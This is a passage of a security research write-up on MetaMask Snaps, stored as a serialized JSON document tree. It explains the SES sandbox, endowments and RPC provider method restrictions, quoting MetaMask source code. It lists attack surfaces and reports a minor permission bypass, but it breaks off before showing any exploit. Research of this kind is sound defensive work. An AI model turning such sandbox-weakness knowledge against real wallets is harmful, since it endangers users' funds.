behaviour of evaluators functions such as ",{"type":24,"tag":284,"props":44257,"children":44259},{"className":44258},[],[44260],{"type":29,"value":44261},"eval",{"type":29,"value":44263}," and the ",{"type":24,"tag":284,"props":44265,"children":44267},{"className":44266},[],[44268],{"type":29,"value":44269},"Function",{"type":29,"value":44271}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":24,"tag":284,"props":44273,"children":44275},{"className":44274},[],[44276],{"type":29,"value":44130},{"type":29,"value":66},{"type":24,"tag":44059,"props":44279,"children":44281},{"id":44280},"endowments",[44282],{"type":29,"value":44283},"Endowments",{"type":24,"tag":25,"props":44285,"children":44286},{},[44287,44289,44293,44295,44300],{"type":29,"value":44288},"While creating a Compartment, it is possible to specify ",{"type":24,"tag":42,"props":44290,"children":44291},{},[44292],{"type":29,"value":44280},{"type":29,"value":44294},". These endowments constitute objects that become accessible within the Compartment's ",{"type":24,"tag":284,"props":44296,"children":44298},{"className":44297},[],[44299],{"type":29,"value":44130},{"type":29,"value":44301},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":24,"tag":25,"props":44303,"children":44304},{},[44305,44307,44313],{"type":29,"value":44306},"In addition, SES provides the ",{"type":24,"tag":284,"props":44308,"children":44310},{"className":44309},[],[44311],{"type":29,"value":44312},"harden()",{"type":29,"value":44314}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":24,"tag":168,"props":44316,"children":44318},{"id":44317},"setting-up-snaps-execution-env",[44319],{"type":29,"value":44320},"Setting up Snaps Execution Env",{"type":24,"tag":25,"props":44322,"children":44323},{},[44324],{"type":29,"value":44325},"When starting a snap, the setup follows these steps:",{"type":24,"tag":175,"props":44327,"children":44328},{},[44329],{"type":24,"tag":179,"props":44330,"children":44331},{},[44332],{"type":24,"tag":188,"props":44333,"children":44334},{},[44335,44337],{"type":29,"value":44336},"Create endowments based on snap ",{"type":24,"tag":57,"props":44338,"children":44341},{"href":44339,"rel":44340},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[61],[44342],{"type":29,"value":44343},"permissions",{"type":24,"tag":317,"props":44345,"children":44347},{"className":42326,"code":44346,"language":42328,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[44348],{"type":24,"tag":284,"props":44349,"children":44350},{"__ignoreMap":7},[44351,44401,44413,44424,44436,44448],{"type":24,"tag":327,"props":44352,"children":44353},{"class":329,"line":330},[44354,44358,44362,44366,44370,44375,44379,44384,44388,44392,44397],{"type":24,"tag":327,"props":44355,"children":44356},{"style":334},[44357],{"type":29,"value":17202},{"type":24,"tag":327,"props":44359,"children":44360},{"style":346},[44361],{"type":29,"value":1940},{"type":24,"tag":327,"props":44363,"children":44364},{"style":356},[44365],{"type":29,"value":44280},{"type":24,"tag":327,"props":44367,"children":44368},{"style":346},[44369],{"type":29,"value":2744},{"type":24,"tag":327,"props":44371,"children":44372},{"style":356},[44373],{"type":29,"value":44374},"teardown",{"type":24,"tag":327,"props":44376,"children":44377},{"style":346},[44378],{"type":29,"value":3459},{"type":24,"tag":327,"props":44380,"children":44381},{"style":356},[44382],{"type":29,"value":44383},"endowmentTeardown",{"type":24,"tag":327,"props":44385,"children":44386},{"style":346},[44387],{"type":29,"value":42915},{"type":24,"tag":327,"props":44389,"children":44390},{"style":381},[44391],{"type":29,"value":384},{"type":24,"tag":327,"props":44393,"children":44394},{"style":340},[44395],{"type":29,"value":44396}," createEndowments",{"type":24,"tag":327,"props":44398,"children":44399},{"style":346},[44400],{"type":29,"value":4663},{"type":24,"tag":327,"props":44402,"children":44403},{"class":329,"line":367},[44404,44409],{"type":24,"tag":327,"props":44405,"children":44406},{"style":356},[44407],{"type":29,"value":44408},"    snap",{"type":24,"tag":327,"props":44410,"children":44411},{"style":346},[44412],{"type":29,"value":2231},{"type":24,"tag":327,"props":44414,"children":44415},{"class":329,"line":408},[44416,44420],{"type":24,"tag":327,"props":44417,"children":44418},{"style":356},[44419],{"type":29,"value":38194},{"type":24,"tag":327,"props":44421,"children":44422},{"style":346},[44423],{"type":29,"value":2231},{"type":24,"tag":327,"props":44425,"children":44426},{"class":329,"line":421},[44427,44432],{"type":24,"tag":327,"props":44428,"children":44429},{"style":356},[44430],{"type":29,"value":44431},"    snapId",{"type":24,"tag":327,"props":44433,"children":44434},{"style":346},[44435],{"type":29,"value":2231},{"type":24,"tag":327,"props":44437,"children":44438},{"class":329,"line":450},[44439,44444],{"type":24,"tag":327,"props":44440,"children":44441},{"style":356},[44442],{"type":29,"value":44443},"    _endowments",{"type":24,"tag":327,"props":44445,"children":44446},{"style":346},[44447],{"type":29,"value":2231},{"type":24,"tag":327,"props":44449,"children":44450},{"class":329,"line":481},[44451],{"type":24,"tag":327,"props":44452,"children":44453},{"style":346},[44454],{"type":29,"value":583},{"type":24,"tag":25,"props":44456,"children":44457},{},[44458],{"type":29,"value":44459},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":24,"tag":25,"props":44461,"children":44462},{},[44463,44465,44471,44473,44479],{"type":29,"value":44464},"One clear example is the ",{"type":24,"tag":284,"props":44466,"children":44468},{"className":44467},[],[44469],{"type":29,"value":44470},"endowment:network-access",{"type":29,"value":44472}," permission, that adds the ",{"type":24,"tag":284,"props":44474,"children":44476},{"className":44475},[],[44477],{"type":29,"value":44478},"fetch()",{"type":29,"value":44480}," function to the endowments.",{"type":24,"tag":25,"props":44482,"children":44483},{},[44484,44486,44492],{"type":29,"value":44485},"All endowments are protected with the ",{"type":24,"tag":284,"props":44487,"children":44489},{"className":44488},[],[44490],{"type":29,"value":44491},"harden",{"type":29,"value":44493}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":24,"tag":175,"props":44495,"children":44496},{"start":367},[44497],{"type":24,"tag":179,"props":44498,"children":44499},{},[44500],{"type":24,"tag":188,"props":44501,"children":44502},{},[44503,44505],{"type":29,"value":44504},"Create the snap ",{"type":24,"tag":57,"props":44506,"children":44509},{"href":44507,"rel":44508},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[61],[44510],{"type":29,"value":44116},{"type":24,"tag":317,"props":44512,"children":44514},{"className":42326,"code":44513,"language":42328,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[44515],{"type":24,"tag":284,"props":44516,"children":44517},{"__ignoreMap":7},[44518,44546,44562,44579,44604],{"type":24,"tag":327,"props":44519,"children":44520},{"class":329,"line":330},[44521,44525,44530,44534,44538,44542],{"type":24,"tag":327,"props":44522,"children":44523},{"style":334},[44524],{"type":29,"value":17202},{"type":24,"tag":327,"props":44526,"children":44527},{"style":356},[44528],{"type":29,"value":44529}," compartment",{"type":24,"tag":327,"props":44531,"children":44532},{"style":381},[44533],{"type":29,"value":4809},{"type":24,"tag":327,"props":44535,"children":44536},{"style":334},[44537],{"type":29,"value":38643},{"type":24,"tag":327,"props":44539,"children":44540},{"style":340},[44541],{"type":29,"value":44171},{"type":24,"tag":327,"props":44543,"children":44544},{"style":346},[44545],{"type":29,"value":22664},{"type":24,"tag":327,"props":44547,"children":44548},{"class":329,"line":367},[44549,44554,44558],{"type":24,"tag":327,"props":44550,"children":44551},{"style":381},[44552],{"type":29,"value":44553},"    ...",{"type":24,"tag":327,"props":44555,"children":44556},{"style":356},[44557],{"type":29,"value":44280},{"type":24,"tag":327,"props":44559,"children":44560},{"style":346},[44561],{"type":29,"value":2231},{"type":24,"tag":327,"props":44563,"children":44564},{"class":329,"line":408},[44565,44570,44575],{"type":24,"tag":327,"props":44566,"children":44567},{"style":356},[44568],{"type":29,"value":44569},"    module:",{"type":24,"tag":327,"props":44571,"children":44572},{"style":356},[44573],{"type":29,"value":44574}," snapModule",{"type":24,"tag":327,"props":44576,"children":44577},{"style":346},[44578],{"type":29,"value":2231},{"type":24,"tag":327,"props":44580,"children":44581},{"class":329,"line":421},[44582,44587,44591,44595,44600],{"type":24,"tag":327,"props":44583,"children":44584},{"style":356},[44585],{"type":29,"value":44586},"    exports:",{"type":24,"tag":327,"props":44588,"children":44589},{"style":356},[44590],{"type":29,"value":44574},{"type":24,"tag":327,"props":44592,"children":44593},{"style":346},[44594],{"type":29,"value":66},{"type":24,"tag":327,"props":44596,"children":44597},{"style":356},[44598],{"type":29,"value":44599},"exports",{"type":24,"tag":327,"props":44601,"children":44602},{"style":346},[44603],{"type":29,"value":2231},{"type":24,"tag":327,"props":44605,"children":44606},{"class":329,"line":450},[44607],{"type":24,"tag":327,"props":44608,"children":44609},{"style":346},[44610],{"type":29,"value":42050},{"type":24,"tag":25,"props":44612,"children":44613},{},[44614,44616,44622,44623,44628,44630,44635],{"type":29,"value":44615},"Note: ",{"type":24,"tag":284,"props":44617,"children":44619},{"className":44618},[],[44620],{"type":29,"value":44621},"module",{"type":29,"value":1323},{"type":24,"tag":284,"props":44624,"children":44626},{"className":44625},[],[44627],{"type":29,"value":44599},{"type":29,"value":44629}," are passed as endowments, but without being ",{"type":24,"tag":42,"props":44631,"children":44632},{},[44633],{"type":29,"value":44634},"hardened",{"type":29,"value":44636},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":24,"tag":175,"props":44638,"children":44639},{"start":408},[44640],{"type":24,"tag":179,"props":44641,"children":44642},{},[44643],{"type":24,"tag":188,"props":44644,"children":44645},{},[44646,44648],{"type":29,"value":44647},"Evaluate the snap code inside the ",{"type":24,"tag":57,"props":44649,"children":44652},{"href":44650,"rel":44651},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[61],[44653],{"type":29,"value":44116},{"type":24,"tag":317,"props":44655,"children":44657},{"className":42326,"code":44656,"language":42328,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[44658],{"type":24,"tag":284,"props":44659,"children":44660},{"__ignoreMap":7},[44661,44702,44732,44769],{"type":24,"tag":327,"props":44662,"children":44663},{"class":329,"line":330},[44664,44668,44672,44676,44681,44685,44689,44694,44698],{"type":24,"tag":327,"props":44665,"children":44666},{"style":425},[44667],{"type":29,"value":39627},{"type":24,"tag":327,"props":44669,"children":44670},{"style":334},[44671],{"type":29,"value":42429},{"type":24,"tag":327,"props":44673,"children":44674},{"style":346},[44675],{"type":29,"value":66},{"type":24,"tag":327,"props":44677,"children":44678},{"style":340},[44679],{"type":29,"value":44680},"executeInSnapContext",{"type":24,"tag":327,"props":44682,"children":44683},{"style":346},[44684],{"type":29,"value":349},{"type":24,"tag":327,"props":44686,"children":44687},{"style":356},[44688],{"type":29,"value":42733},{"type":24,"tag":327,"props":44690,"children":44691},{"style":346},[44692],{"type":29,"value":44693},", () ",{"type":24,"tag":327,"props":44695,"children":44696},{"style":334},[44697],{"type":29,"value":9195},{"type":24,"tag":327,"props":44699,"children":44700},{"style":346},[44701],{"type":29,"value":497},{"type":24,"tag":327,"props":44703,"children":44704},{"class":329,"line":367},[44705,44710,44714,44719,44723,44728],{"type":24,"tag":327,"props":44706,"children":44707},{"style":356},[44708],{"type":29,"value":44709},"    compartment",{"type":24,"tag":327,"props":44711,"children":44712},{"style":346},[44713],{"type":29,"value":66},{"type":24,"tag":327,"props":44715,"children":44716},{"style":340},[44717],{"type":29,"value":44718},"evaluate",{"type":24,"tag":327,"props":44720,"children":44721},{"style":346},[44722],{"type":29,"value":349},{"type":24,"tag":327,"props":44724,"children":44725},{"style":356},[44726],{"type":29,"value":44727},"sourceCode",{"type":24,"tag":327,"props":44729,"children":44730},{"style":346},[44731],{"type":29,"value":583},{"type":24,"tag":327,"props":44733,"children":44734},{"class":329,"line":408},[44735,44739,44743,44748,44752,44756,44760,44765],{"type":24,"tag":327,"props":44736,"children":44737},{"style":334},[44738],{"type":29,"value":42777},{"type":24,"tag":327,"props":44740,"children":44741},{"style":346},[44742],{"type":29,"value":66},{"type":24,"tag":327,"props":44744,"children":44745},{"style":340},[44746],{"type":29,"value":44747},"registerSnapExports",{"type":24,"tag":327,"props":44749,"children":44750},{"style":346},[44751],{"type":29,"value":349},{"type":24,"tag":327,"props":44753,"children":44754},{"style":356},[44755],{"type":29,"value":42733},{"type":24,"tag":327,"props":44757,"children":44758},{"style":346},[44759],{"type":29,"value":2744},{"type":24,"tag":327,"props":44761,"children":44762},{"style":356},[44763],{"type":29,"value":44764},"snapModule",{"type":24,"tag":327,"props":44766,"children":44767},{"style":346},[44768],{"type":29,"value":583},{"type":24,"tag":327,"props":44770,"children":44771},{"class":329,"line":421},[44772],{"type":24,"tag":327,"props":44773,"children":44774},{"style":346},[44775],{"type":29,"value":42050},{"type":24,"tag":25,"props":44777,"children":44778},{},[44779,44781,44787,44788,44794,44795,44801],{"type":29,"value":44780},"According to the documentation, the snap must contain one of the following function exports: ",{"type":24,"tag":284,"props":44782,"children":44784},{"className":44783},[],[44785],{"type":29,"value":44786},"onRpcRequest",{"type":29,"value":2744},{"type":24,"tag":284,"props":44789,"children":44791},{"className":44790},[],[44792],{"type":29,"value":44793},"onTransaction",{"type":29,"value":1503},{"type":24,"tag":284,"props":44796,"children":44798},{"className":44797},[],[44799],{"type":29,"value":44800},"onCronjob",{"type":29,"value":66},{"type":24,"tag":25,"props":44803,"children":44804},{},[44805,44807,44812],{"type":29,"value":44806},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":24,"tag":284,"props":44808,"children":44810},{"className":44809},[],[44811],{"type":29,"value":44130},{"type":29,"value":44813}," environment of that Compartment.",{"type":24,"tag":25,"props":44815,"children":44816},{},[44817],{"type":29,"value":44818},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":24,"tag":228,"props":44820,"children":44822},{"id":44821},"vulnerability-research",[44823],{"type":29,"value":44824},"Vulnerability research",{"type":24,"tag":235,"props":44826,"children":44828},{"id":44827},"possible-attacks",[44829],{"type":29,"value":44830},"Possible attacks",{"type":24,"tag":25,"props":44832,"children":44833},{},[44834],{"type":29,"value":44835},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":24,"tag":1380,"props":44837,"children":44838},{},[44839,44844,44849,44854],{"type":24,"tag":179,"props":44840,"children":44841},{},[44842],{"type":29,"value":44843},"Broken SES Container isolation",{"type":24,"tag":179,"props":44845,"children":44846},{},[44847],{"type":29,"value":44848},"Insecure endowments in Containers",{"type":24,"tag":179,"props":44850,"children":44851},{},[44852],{"type":29,"value":44853},"Incorrect RPC permission checks",{"type":24,"tag":179,"props":44855,"children":44856},{},[44857],{"type":29,"value":44858},"Insecure snap installation/update",{"type":24,"tag":25,"props":44860,"children":44861},{},[44862],{"type":29,"value":44863},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":24,"tag":25,"props":44865,"children":44866},{},[44867],{"type":29,"value":44868},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":24,"tag":235,"props":44870,"children":44872},{"id":44871},"rpc-interfaces-endowments",[44873],{"type":29,"value":44874},"RPC interfaces endowments",{"type":24,"tag":168,"props":44876,"children":44878},{"id":44877},"providers-limitations",[44879],{"type":29,"value":44880},"Providers limitations",{"type":24,"tag":25,"props":44882,"children":44883},{},[44884,44886,44892,44893,44898,44900,44907],{"type":29,"value":44885},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":24,"tag":284,"props":44887,"children":44889},{"className":44888},[],[44890],{"type":29,"value":44891},"snap",{"type":29,"value":1323},{"type":24,"tag":284,"props":44894,"children":44896},{"className":44895},[],[44897],{"type":29,"value":38127},{"type":29,"value":44899}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":24,"tag":57,"props":44901,"children":44904},{"href":44902,"rel":44903},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[61],[44905],{"type":29,"value":44906},"methods",{"type":29,"value":1636},{"type":24,"tag":317,"props":44909,"children":44911},{"className":42326,"code":44910,"language":42328,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[44912],{"type":24,"tag":284,"props":44913,"children":44914},{"__ignoreMap":7},[44915,44955,44963,44975,45045,45106,45118,45126,45137,45177,45207,45219,45244,45251,45259,45266,45304],{"type":24,"tag":327,"props":44916,"children":44917},{"class":329,"line":330},[44918,44923,44928,44933,44937,44942,44946,44951],{"type":24,"tag":327,"props":44919,"children":44920},{"style":425},[44921],{"type":29,"value":44922},"export",{"type":24,"tag":327,"props":44924,"children":44925},{"style":334},[44926],{"type":29,"value":44927}," function",{"type":24,"tag":327,"props":44929,"children":44930},{"style":340},[44931],{"type":29,"value":44932}," assertSnapOutboundRequest",{"type":24,"tag":327,"props":44934,"children":44935},{"style":346},[44936],{"type":29,"value":349},{"type":24,"tag":327,"props":44938,"children":44939},{"style":356},[44940],{"type":29,"value":44941},"args",{"type":24,"tag":327,"props":44943,"children":44944},{"style":381},[44945],{"type":29,"value":1636},{"type":24,"tag":327,"props":44947,"children":44948},{"style":1639},[44949],{"type":29,"value":44950}," RequestArguments",{"type":24,"tag":327,"props":44952,"children":44953},{"style":346},[44954],{"type":29,"value":364},{"type":24,"tag":327,"props":44956,"children":44957},{"class":329,"line":367},[44958],{"type":24,"tag":327,"props":44959,"children":44960},{"style":551},[44961],{"type":29,"value":44962},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":24,"tag":327,"props":44964,"children":44965},{"class":329,"line":408},[44966,44971],{"type":24,"tag":327,"props":44967,"children":44968},{"style":340},[44969],{"type":29,"value":44970},"  assert",{"type":24,"tag":327,"props":44972,"children":44973},{"style":346},[44974],{"type":29,"value":4663},{"type":24,"tag":327,"props":44976,"children":44977},{"class":329,"line":421},[44978,44983,44987,44992,44996,45001,45005,45010,45014,45018,45022,45027,45031,45036,45040],{"type":24,"tag":327,"props":44979,"children":44980},{"style":1639},[44981],{"type":29,"value":44982},"    String",{"type":24,"tag":327,"props":44984,"children":44985},{"style":346},[44986],{"type":29,"value":66},{"type":24,"tag":327,"props":44988,"children":44989},{"style":356},[44990],{"type":29,"value":44991},"prototype",{"type":24,"tag":327,"props":44993,"children":44994},{"style":346},[44995],{"type":29,"value":66},{"type":24,"tag":327,"props":44997,"children":44998},{"style":356},[44999],{"type":29,"value":45000},"startsWith",{"type":24,"tag":327,"props":45002,"children":45003},{"style":346},[45004],{"type":29,"value":66},{"type":24,"tag":327,"props":45006,"children":45007},{"style":340},[45008],{"type":29,"value":45009},"call",{"type":24,"tag":327,"props":45011,"children":45012},{"style":346},[45013],{"type":29,"value":349},{"type":24,"tag":327,"props":45015,"children":45016},{"style":356},[45017],{"type":29,"value":44941},{"type":24,"tag":327,"props":45019,"children":45020},{"style":346},[45021],{"type":29,"value":66},{"type":24,"tag":327,"props":45023,"children":45024},{"style":356},[45025],{"type":29,"value":45026},"method",{"type":24,"tag":327,"props":45028,"children":45029},{"style":346},[45030],{"type":29,"value":2744},{"type":24,"tag":327,"props":45032,"children":45033},{"style":844},[45034],{"type":29,"value":45035},"'wallet_'",{"type":24,"tag":327,"props":45037,"children":45038},{"style":346},[45039],{"type":29,"value":1674},{"type":24,"tag":327,"props":45041,"children":45042},{"style":381},[45043],{"type":29,"value":45044},"||\n",{"type":24,"tag":327,"props":45046,"children":45047},{"class":329,"line":450},[45048,45053,45057,45061,45065,45069,45073,45077,45081,45085,45089,45093,45097,45102],{"type":24,"tag":327,"props":45049,"children":45050},{"style":1639},[45051],{"type":29,"value":45052},"      String",{"type":24,"tag":327,"props":45054,"children":45055},{"style":346},[45056],{"type":29,"value":66},{"type":24,"tag":327,"props":45058,"children":45059},{"style":356},[45060],{"type":29,"value":44991},{"type":24,"tag":327,"props":45062,"children":45063},{"style":346},[45064],{"type":29,"value":66},{"type":24,"tag":327,"props":45066,"children":45067},{"style":356},[45068],{"type":29,"value":45000},{"type":24,"tag":327,"props":45070,"children":45071},{"style":346},[45072],{"type":29,"value":66},{"type":24,"tag":327,"props":45074,"children":45075},{"style":340},[45076],{"type":29,"value":45009},{"type":24,"tag":327,"props":45078,"children":45079},{"style":346},[45080],{"type":29,"value":349},{"type":24,"tag":327,"props":45082,"children":45083},{"style":356},[45084],{"type":29,"value":44941},{"type":24,"tag":327,"props":45086,"children":45087},{"style":346},[45088],{"type":29,"value":66},{"type":24,"tag":327,"props":45090,"children":45091},{"style":356},[45092],{"type":29,"value":45026},{"type":24,"tag":327,"props":45094,"children":45095},{"style":346},[45096],{"type":29,"value":2744},{"type":24,"tag":327,"props":45098,"children":45099},{"style":844},[45100],{"type":29,"value":45101},"'snap_'",{"type":24,"tag":327,"props":45103,"children":45104},{"style":346},[45105],{"type":29,"value":9212},{"type":24,"tag":327,"props":45107,"children":45108},{"class":329,"line":481},[45109,45114],{"type":24,"tag":327,"props":45110,"children":45111},{"style":844},[45112],{"type":29,"value":45113},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":24,"tag":327,"props":45115,"children":45116},{"style":346},[45117],{"type":29,"value":2231},{"type":24,"tag":327,"props":45119,"children":45120},{"class":329,"line":500},[45121],{"type":24,"tag":327,"props":45122,"children":45123},{"style":346},[45124],{"type":29,"value":45125},"  );\n",{"type":24,"tag":327,"props":45127,"children":45128},{"class":329,"line":529},[45129,45133],{"type":24,"tag":327,"props":45130,"children":45131},{"style":340},[45132],{"type":29,"value":44970},{"type":24,"tag":327,"props":45134,"children":45135},{"style":346},[45136],{"type":29,"value":4663},{"type":24,"tag":327,"props":45138,"children":45139},{"class":329,"line":538},[45140,45144,45149,45153,45157,45161,45165,45169,45173],{"type":24,"tag":327,"props":45141,"children":45142},{"style":381},[45143],{"type":29,"value":2340},{"type":24,"tag":327,"props":45145,"children":45146},{"style":356},[45147],{"type":29,"value":45148},"BLOCKED_RPC_METHODS",{"type":24,"tag":327,"props":45150,"children":45151},{"style":346},[45152],{"type":29,"value":66},{"type":24,"tag":327,"props":45154,"children":45155},{"style":340},[45156],{"type":29,"value":41893},{"type":24,"tag":327,"props":45158,"children":45159},{"style":346},[45160],{"type":29,"value":349},{"type":24,"tag":327,"props":45162,"children":45163},{"style":356},[45164],{"type":29,"value":44941},{"type":24,"tag":327,"props":45166,"children":45167},{"style":346},[45168],{"type":29,"value":66},{"type":24,"tag":327,"props":45170,"children":45171},{"style":356},[45172],{"type":29,"value":45026},{"type":24,"tag":327,"props":45174,"children":45175},{"style":346},[45176],{"type":29,"value":9212},{"type":24,"tag":327,"props":45178,"children":45179},{"class":329,"line":547},[45180,45185,45189,45194,45198,45203],{"type":24,"tag":327,"props":45181,"children":45182},{"style":356},[45183],{"type":29,"value":45184},"    ethErrors",{"type":24,"tag":327,"props":45186,"children":45187},{"style":346},[45188],{"type":29,"value":66},{"type":24,"tag":327,"props":45190,"children":45191},{"style":356},[45192],{"type":29,"value":45193},"rpc",{"type":24,"tag":327,"props":45195,"children":45196},{"style":346},[45197],{"type":29,"value":66},{"type":24,"tag":327,"props":45199,"children":45200},{"style":340},[45201],{"type":29,"value":45202},"methodNotFound",{"type":24,"tag":327,"props":45204,"children":45205},{"style":346},[45206],{"type":29,"value":22664},{"type":24,"tag":327,"props":45208,"children":45209},{"class":329,"line":557},[45210,45215],{"type":24,"tag":327,"props":45211,"children":45212},{"style":356},[45213],{"type":29,"value":45214},"      data:",{"type":24,"tag":327,"props":45216,"children":45217},{"style":346},[45218],{"type":29,"value":497},{"type":24,"tag":327,"props":45220,"children":45221},{"class":329,"line":586},[45222,45227,45232,45236,45240],{"type":24,"tag":327,"props":45223,"children":45224},{"style":356},[45225],{"type":29,"value":45226},"        method:",{"type":24,"tag":327,"props":45228,"children":45229},{"style":356},[45230],{"type":29,"value":45231}," args",{"type":24,"tag":327,"props":45233,"children":45234},{"style":346},[45235],{"type":29,"value":66},{"type":24,"tag":327,"props":45237,"children":45238},{"style":356},[45239],{"type":29,"value":45026},{"type":24,"tag":327,"props":45241,"children":45242},{"style":346},[45243],{"type":29,"value":2231},{"type":24,"tag":327,"props":45245,"children":45246},{"class":329,"line":1017},[45247],{"type":24,"tag":327,"props":45248,"children":45249},{"style":346},[45250],{"type":29,"value":43912},{"type":24,"tag":327,"props":45252,"children":45253},{"class":329,"line":1026},[45254],{"type":24,"tag":327,"props":45255,"children":45256},{"style":346},[45257],{"type":29,"value":45258},"    }),\n",{"type":24,"tag":327,"props":45260,"children":45261},{"class":329,"line":1048},[45262],{"type":24,"tag":327,"props":45263,"children":45264},{"style":346},[45265],{"type":29,"value":45125},{"type":24,"tag":327,"props":45267,"children":45268},{"class":329,"line":1067},[45269,45274,45278,45282,45286,45291,45295,45300],{"type":24,"tag":327,"props":45270,"children":45271},{"style":340},[45272],{"type":29,"value":45273},"  assertStruct",{"type":24,"tag":327,"props":45275,"children":45276},{"style":346},[45277],{"type":29,"value":349},{"type":24,"tag":327,"props":45279,"children":45280},{"style":356},[45281],{"type":29,"value":44941},{"type":24,"tag":327,"props":45283,"children":45284},{"style":346},[45285],{"type":29,"value":2744},{"type":24,"tag":327,"props":45287,"children":45288},{"style":356},[45289],{"type":29,"value":45290},"JsonStruct",{"type":24,"tag":327,"props":45292,"children":45293},{"style":346},[45294],{"type":29,"value":2744},{"type":24,"tag":327,"props":45296,"children":45297},{"style":844},[45298],{"type":29,"value":45299},"'Provided value is not JSON-RPC compatible'",{"type":24,"tag":327,"props":45301,"children":45302},{"style":346},[45303],{"type":29,"value":583},{"type":24,"tag":327,"props":45305,"children":45306},{"class":329,"line":1075},[45307],{"type":24,"tag":327,"props":45308,"children":45309},{"style":346},[45310],{"type":29,"value":592},{"type":24,"tag":25,"props":45312,"children":45313},{},[45314,45316,45321,45323,45329,45330,45336],{"type":29,"value":45315},"This function is called by the ",{"type":24,"tag":284,"props":45317,"children":45319},{"className":45318},[],[45320],{"type":29,"value":44891},{"type":29,"value":45322}," RPC provider, so it can only send methods starting with ",{"type":24,"tag":284,"props":45324,"children":45326},{"className":45325},[],[45327],{"type":29,"value":45328},"wallet_",{"type":29,"value":1503},{"type":24,"tag":284,"props":45331,"children":45333},{"className":45332},[],[45334],{"type":29,"value":45335},"snap_",{"type":29,"value":45337},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":24,"tag":25,"props":45339,"children":45340},{},[45341,45343,45348,45350,45355,45357,45363],{"type":29,"value":45342},"On the other hand, the ",{"type":24,"tag":284,"props":45344,"children":45346},{"className":45345},[],[45347],{"type":29,"value":38127},{"type":29,"value":45349}," provider only blocks methods starting with ",{"type":24,"tag":284,"props":45351,"children":45353},{"className":45352},[],[45354],{"type":29,"value":45335},{"type":29,"value":45356}," and the blocked methods. However, it requires the ",{"type":24,"tag":284,"props":45358,"children":45360},{"className":45359},[],[45361],{"type":29,"value":45362},"endowment:ethereum-provider",{"type":29,"value":45364}," permission in the snap manifest.",{"type":24,"tag":168,"props":45366,"children":45368},{"id":45367},"execution-flow",[45369],{"type":29,"value":45370},"Execution flow",{"type":24,"tag":25,"props":45372,"children":45373},{},[45374,45376,45381,45382,45387,45389,45394,45395,45401],{"type":29,"value":45375},"Both providers (",{"type":24,"tag":284,"props":45377,"children":45379},{"className":45378},[],[45380],{"type":29,"value":44891},{"type":29,"value":1323},{"type":24,"tag":284,"props":45383,"children":45385},{"className":45384},[],[45386],{"type":29,"value":38127},{"type":29,"value":45388},") are built outside the SES container with a ",{"type":24,"tag":284,"props":45390,"children":45392},{"className":45391},[],[45393],{"type":29,"value":38203},{"type":29,"value":14024},{"type":24,"tag":57,"props":45396,"children":45399},{"href":45397,"rel":45398},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[61],[45400],{"type":29,"value":38087},{"type":29,"value":1636},{"type":24,"tag":317,"props":45403,"children":45405},{"className":42643,"code":45404,"language":42645,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    